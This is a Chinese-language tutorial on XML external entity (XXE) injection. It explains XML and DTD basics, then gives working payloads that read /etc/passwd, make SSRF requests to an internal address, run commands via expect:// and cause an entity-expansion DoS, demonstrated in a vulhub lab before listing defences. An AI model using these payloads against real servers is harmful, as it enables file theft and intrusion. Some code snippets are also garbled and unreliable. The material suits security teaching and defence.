目录
XXE(XML External Entity):XML外部实体注入漏洞,想要理解该漏洞的攻击原理,就必须要先明白基础知识,了解xml文档的基础组成。
XML基础知识
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
它和前端页面的HTML一样也存在注入攻击,并且注入的方法也是非常的相似的
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
例如:
<?xml version="1.0" encoding="utf-8" ?>
XML文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
-
元素
-
属性
-
实体
-
PCDATA
-
CDATA
下面是每个构建模块的简要描述:
1,元素 元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。 比如:
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
2,属性 属性可提供有关元素的额外信息
比如:
<img src="abc.gif" />
3,实体 实体是用来定义普通文本的变量。
实体引用是对实体的引用。
4,PCDATA PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
<age>libai age > dufu age</age>
5,CDATA CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1,内部声明: ex: <!DOCTYOE test any>
例如:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2,外部声明(引用外部DTD): ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
例如:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> //在这里将外部定义好的文档引入了进来
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法: 引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: 引用实体的方式:%实体名;
1,内部实体声明:
<!ENTITY eviltest "eviltest">
例如
:
<?xml version="1.0"?>
内部DTD实体申明
<!DOCTYPE test [
<!ENTITY writer "Bill Gates //声明
<!ENTITY copyright "Copyright W3School.com.cn">//声明
]>
<test>&writer;©right;</test> 调用
2,外部实体声明:
例如:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> //外部实体声明,使用system执行
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">//外部实体声明,使用system执行
]>
<author>&writer;©right;</author>//调用
在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。
XML注入
比如说下面这个代码将会生成一个XML文件:
final String GUESTROLE = "guest_role";
...
//userdata 是准备保存的XML数据,接收了name和email两个用户提交的数据
String userdata = "<USER role = "guest_role"><name>"+
<request class="getParmeter">("name")+"</name><email>"+request.getParmeter("email")+
"</email></USER>"
//保存XML数据
userDao.save(userdata);
但是如果用户构造了恶意输入数据,就会有可能造成注入攻击
比如用户输入了一下数据:
user1@a.com</email></USER><USER
role="admin role"<name>test</name><email>user2@a.com
那么最终生成的XML文件中将会包含两条USER记录:
<USER role = "guest_role">
<name>user1</name>
<email>user1@a.com</email>
</USER>
<USER role = "admin_role">
<name>user1</name>
<email>user2@a.com</email>
</USER>
XML注入需要满足注入攻击的两大条件:
1、用户能够控制数据的输入
2、并且程序拼接了数据
其修复方案也是与HTML转义类似,将字符替换为相应的实体
XML还支持使用CDATA区段来表示纯文本内容,使用方法如下:
<code><![CDATA [if (a < b && a < 0 ) {...} ] ] > </code>
CDATA区段由“<![CDATA ][”开始,以"]]>"结束,他们所波阿伟的字符串都会被解析器当做文本,但是要注意,文本中不能包含字符串"]]>"
XXE注入
在XML中允许自定义实体,在XML的文档类型定义即DOCTYPE 节点中,我们可以使用ENTITY来定义自己的实体,如:
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test "hello,world">
]>
<foo>&test;</foo>
其中自定义了test实体的内容是“hello world”,并且这个实体可以在下面的XML元素中被引用。
此时如下java1代码用dom4j去解析这个xml实体,得到foo节点的值是“hello world”,这是xml自定义实体的常规用法,这种实体也叫内部实体。
SAXReader SAXReader = new SAXReader();
Document document = saxReader.read("demo.xml");
Elemnet root = document.getRootElemnet();
System.out.println(root.getText);
但是XML还支持外部实体,使用SYSTEM关键词可以将外部资源作为实体内容,如:
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<foo>&test;</foo>
此时再用上面的java代码去解析,将输入/etc/passwd文件的内容,这种XMl内容中嵌入外部实体的攻击叫做“外部实体注入”。
如果web应用接收用户提交的XML内容,并且在解析后将其中部分内容返回给用户,攻击者将可以通过外部实体注入实现任意文件读取,从而获取服务器上的敏感数据
除了使用file://协议读取本地文件,多数的XML库还支持网络协议读取其他服务器上的资源
攻击者可以用这种方式来实现服务端请求伪造(SSRF),向内部服务器发起攻击,或者读取内部服务器上的资源,例如:
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "http://192.168.159.1/abc.txt">
]>
<foo>&test;</foo>
除了读取文件,在特殊的情况下,服务端还有可能还支持其他危险协议,可以被用来执行更加危险的操作,在PHP中安装expect模块后,就支持使用expect://协议来执行系统命令,如:
expect://ifconfig
此外实体支持嵌套引用,即一个实体可以引用另外一个实体通过构造多级实体引用,可以让实体展开后变成超长的内容,以实现拒绝服务攻击的效果,比如:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY x0 "BOOM!">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!-- 这还有&x3...&x97 -->
<!ENTITY x99 "&x98;&x98;">
<!ENTITY boom "&x99;&x99;">
]>
<foo>
&boom;
</foo>
因为外部实体是XML标准的定义,所以更多的XML库都存在漏洞,随着这些库的版本升级,很多库都去掉了引用外部实体的特性,或者默认不启用该特性。但是是有不少XML库需要手动关闭这个特性的,比如PHP中如果使用了libxml库,则需要使用下面的函数关闭加载外部实体
libxml_disable_entity_loader(true);
总:在文本应用中,接收客户端提交的XML内容是非常常见的场景,而且很多标准协议也采用了XML作为数据格式,开发者在使用XML库时最好查询官方文档了解如何进行安全的配置
利用XXE读取任意文件
这里我使用vulhub-master靶场中的xxe漏洞来演示一下XXE漏洞:
下载完源码后,首先就是找到对应的位置:
/root/vulhub-master/php/php_xxe
在运行了docker的前提下,使用下列命令来拉取漏洞环境:
docker-compose up -d
拉取完成后就可以尝试访问一下:
可以看到一些关于XML的配置和版本信息
由文档可知漏洞环境中的WWW目录下的几个文件分别为:
$ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
然后我们在访问 SimpleXMLElement.php文件时抓包,然后将GET方式修改为POST,然后在下面增加提交的数据
xml文件内容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
从结果可以看到成功的读取到了/etc/passwd的值
注:这里我们不仅仅可以读取/etc/passwd文件,还可以读取别的文件,但是前提就是需要知道物理路径
利用XXE执行系统命令
提前:安装expect扩展的PHP环境
xml文件内容:
<?php
$xml=<<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
然后将编辑好的内容赋值到docker容器中:
docker cp abc.php c5369e20a8d8:/var/www/html
然后访问一下该文件,发现是没有安装expect扩展
注:因为大部分php并不会安装expect扩展的,因此这种利用方式是比较苛刻的
防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。